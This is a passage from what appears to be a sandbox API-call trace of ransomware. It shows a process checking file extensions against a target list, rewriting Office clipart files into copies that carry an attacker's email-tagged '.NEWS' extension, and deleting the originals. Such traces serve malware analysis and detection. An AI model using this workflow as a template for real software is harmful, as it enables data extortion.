5 [0090.611] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0090.611] lstrlenW (lpString=".ppt") returned 4 [0090.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.611] lstrlenW (lpString=".zip") returned 4 [0090.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.612] lstrlenW (lpString=".rar") returned 4 [0090.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.612] lstrlenW (lpString=".bz2") returned 4 [0090.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.612] lstrlenW (lpString=".7z") returned 3 [0090.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.612] lstrlenW (lpString=".dbf") returned 4 [0090.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.612] lstrlenW (lpString=".1cd") returned 4 [0090.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.612] lstrlenW (lpString=".jpg") returned 4 [0090.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.612] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.612] lstrlenW (lpString="J0090781.WMF") returned 12 [0090.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.612] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5314) returned 1 [0090.612] CloseHandle (hObject=0x398) returned 1 [0090.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0090.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.613] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.613] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0090.613] GetLastError () returned 0x0 [0090.613] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x14c2, lpOverlapped=0x0) returned 1 [0090.615] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0090.615] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.616] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.616] SetEndOfFile (hFile=0x37c) returned 1 [0090.616] CloseHandle (hObject=0x37c) returned 1 [0090.616] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.616] SetEndOfFile (hFile=0x398) returned 1 [0090.617] CloseHandle (hObject=0x398) returned 1 [0090.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0090.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.617] lstrlenW (lpString=".doc") returned 4 [0090.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.617] lstrlenW (lpString=".docx") returned 5 [0090.617] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0090.617] lstrlenW (lpString=".pdf") returned 4 [0090.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.617] lstrlenW (lpString=".xls") returned 4 [0090.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.617] lstrlenW (lpString=".xlsx") returned 5 [0090.617] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0090.617] lstrlenW (lpString=".ppt") returned 4 [0090.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.618] lstrlenW (lpString=".zip") returned 4 [0090.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.618] lstrlenW (lpString=".rar") returned 4 [0090.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.618] lstrlenW (lpString=".bz2") returned 4 [0090.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.618] lstrlenW (lpString=".7z") returned 3 [0090.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.618] lstrlenW (lpString=".dbf") returned 4 [0090.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.618] lstrlenW (lpString=".1cd") returned 4 [0090.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.618] lstrlenW (lpString=".jpg") returned 4 [0090.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.618] lstrlenW (lpString=".doc") returned 4 [0090.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.618] lstrlenW (lpString=".docx") returned 5 [0090.618] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0090.618] lstrlenW (lpString=".pdf") returned 4 [0090.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.618] lstrlenW (lpString=".xls") returned 4 [0090.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.618] lstrlenW (lpString=".xlsx") returned 5 [0090.618] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0090.618] lstrlenW (lpString=".ppt") returned 4 [0090.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.618] lstrlenW (lpString=".zip") returned 4 [0090.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.618] lstrlenW (lpString=".rar") returned 4 [0090.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.619] lstrlenW (lpString=".bz2") returned 4 [0090.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.619] lstrlenW (lpString=".7z") returned 3 [0090.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.619] lstrlenW (lpString=".dbf") returned 4 [0090.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.619] lstrlenW (lpString=".1cd") returned 4 [0090.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0090.619] lstrlenW (lpString=".jpg") returned 4 [0090.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.619] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.619] lstrlenW (lpString="J0090783.WMF") returned 12 [0090.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.620] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6934) returned 1 [0090.620] CloseHandle (hObject=0x398) returned 1 [0090.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0090.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.620] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.620] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0090.620] GetLastError () returned 0x0 [0090.620] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1b16, lpOverlapped=0x0) returned 1 [0090.622] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0090.623] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.623] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.623] SetEndOfFile (hFile=0x37c) returned 1 [0090.623] CloseHandle (hObject=0x37c) returned 1 [0090.623] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.623] SetEndOfFile (hFile=0x398) returned 1 [0090.624] CloseHandle (hObject=0x398) returned 1 [0090.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0090.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.624] lstrlenW (lpString=".doc") returned 4 [0090.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.625] lstrlenW (lpString=".docx") returned 5 [0090.625] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0090.625] lstrlenW (lpString=".pdf") returned 4 [0090.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.625] lstrlenW (lpString=".xls") returned 4 [0090.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.625] lstrlenW (lpString=".xlsx") returned 5 [0090.625] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0090.625] lstrlenW (lpString=".ppt") returned 4 [0090.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.625] lstrlenW (lpString=".zip") returned 4 [0090.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.625] lstrlenW (lpString=".rar") returned 4 [0090.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.625] lstrlenW (lpString=".bz2") returned 4 [0090.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.625] lstrlenW (lpString=".7z") returned 3 [0090.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.625] lstrlenW (lpString=".dbf") returned 4 [0090.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.625] lstrlenW (lpString=".1cd") returned 4 [0090.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.625] lstrlenW (lpString=".jpg") returned 4 [0090.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.625] lstrlenW (lpString=".doc") returned 4 [0090.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.625] lstrlenW (lpString=".docx") returned 5 [0090.625] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0090.625] lstrlenW (lpString=".pdf") returned 4 [0090.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.626] lstrlenW (lpString=".xls") returned 4 [0090.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.626] lstrlenW (lpString=".xlsx") returned 5 [0090.626] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0090.626] lstrlenW (lpString=".ppt") returned 4 [0090.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.626] lstrlenW (lpString=".zip") returned 4 [0090.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.626] lstrlenW (lpString=".rar") returned 4 [0090.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.626] lstrlenW (lpString=".bz2") returned 4 [0090.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.626] lstrlenW (lpString=".7z") returned 3 [0090.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.626] lstrlenW (lpString=".dbf") returned 4 [0090.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.626] lstrlenW (lpString=".1cd") returned 4 [0090.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0090.626] lstrlenW (lpString=".jpg") returned 4 [0090.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.626] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.626] lstrlenW (lpString="J0093905.WMF") returned 12 [0090.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.627] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=42050) returned 1 [0090.627] CloseHandle (hObject=0x398) returned 1 [0090.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0090.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.627] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.627] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0090.628] GetLastError () returned 0x0 [0090.628] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xa442, lpOverlapped=0x0) returned 1 [0090.895] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xa450, lpOverlapped=0x0) returned 1 [0090.897] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.897] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.897] SetEndOfFile (hFile=0x37c) returned 1 [0090.897] CloseHandle (hObject=0x37c) returned 1 [0090.897] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.897] SetEndOfFile (hFile=0x398) returned 1 [0090.898] CloseHandle (hObject=0x398) returned 1 [0090.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0090.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.949] lstrlenW (lpString=".doc") returned 4 [0090.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.949] lstrlenW (lpString=".docx") returned 5 [0090.949] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0090.949] lstrlenW (lpString=".pdf") returned 4 [0090.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.949] lstrlenW (lpString=".xls") returned 4 [0090.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.949] lstrlenW (lpString=".xlsx") returned 5 [0090.949] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0090.949] lstrlenW (lpString=".ppt") returned 4 [0090.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.949] lstrlenW (lpString=".zip") returned 4 [0090.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.949] lstrlenW (lpString=".rar") returned 4 [0090.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.949] lstrlenW (lpString=".bz2") returned 4 [0090.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.949] lstrlenW (lpString=".7z") returned 3 [0090.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.949] lstrlenW (lpString=".dbf") returned 4 [0090.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.949] lstrlenW (lpString=".1cd") returned 4 [0090.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.950] lstrlenW (lpString=".jpg") returned 4 [0090.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.950] lstrlenW (lpString=".doc") returned 4 [0090.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.950] lstrlenW (lpString=".docx") returned 5 [0090.950] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0090.950] lstrlenW (lpString=".pdf") returned 4 [0090.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.950] lstrlenW (lpString=".xls") returned 4 [0090.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.950] lstrlenW (lpString=".xlsx") returned 5 [0090.950] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0090.950] lstrlenW (lpString=".ppt") returned 4 [0090.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.950] lstrlenW (lpString=".zip") returned 4 [0090.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.950] lstrlenW (lpString=".rar") returned 4 [0090.950] lstrcmpiW (lpString1=".rar", 